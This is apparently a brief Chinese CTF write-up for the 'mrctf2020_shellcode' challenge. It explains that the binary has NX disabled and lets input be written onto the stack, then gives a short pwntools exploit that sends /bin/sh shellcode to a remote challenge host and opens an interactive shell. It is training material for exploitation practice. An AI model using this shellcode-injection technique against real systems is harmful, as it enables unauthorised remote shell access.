mrctf2020_shellcode
查看保护,开启了pie,没开NX保护,可以往栈上写shellcode

打开ida反汇编发现不行

那就直接看汇编,栈的大小是410,read只读入了400,无法造成栈溢出

不过也没关系,读入了0x400,已经可以读入shellcode了。直接往栈上写就行
exp
from pwn import *
p=remote("node5.buuoj.cn",27037)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

浙公网安备 33010602011771号